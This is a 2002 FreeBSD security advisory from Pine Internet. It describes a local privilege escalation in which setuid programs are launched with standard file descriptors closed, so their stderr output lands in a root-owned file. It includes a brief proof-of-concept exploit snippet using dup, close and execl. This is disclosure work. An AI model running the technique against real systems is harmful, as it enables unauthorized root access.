Pine Internet Advisory: Setuid application execution may give local root in FreeBSD

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Pine Internet Security Advisory

Advisory ID : PINE-CERT-20020401
Authors : Joost Pol <[email protected]>
Issue date : 2002-04-22
Application : Multiple
Version(s) : Multiple
Platforms : FreeBSD confirmed, maybe others.
Vendor informed : 20020406
Availability : http://www.pine.nl/advisories/pine-cert-20020401.txt

Synopsis

    It is possible for a local user to execute a suid application with 
    stdin, stdout or stderr closed.

Impact

    HIGH. Local users should be able to gain root privileges. 

Description

    Consider the following (imaginary) suid application:

    -- begin of imaginary code snippet

            FILE * f = fopen("/etc/root_owned_file", "r+");

            if(f) {
            
                    fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);

                    fclose(f);
            }

    -- end of imaginary code snippet
            
    Now, consider the following (imaginary) exploit:

    -- begin of imaginary exploit snippet

            while(dup(1) != -1); 

            close(2);

            execl("/path/to/suid_application",
                  "this text will endup in the root_owned_file", 0);

    -- end of imaginary exploit snippet

    Exploitation has been confirmed using the S/KEY binaries. 

Solution

    FreeBSD source trees have been updated on the 21th of april 2002. 
    Please cvsup.

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–
patrick oonk - pine internet - [email protected] - www.pine.nl/~patrick
T:+31-70-3111010 - F:+31-70-3111011 - Read news at http://security.nl
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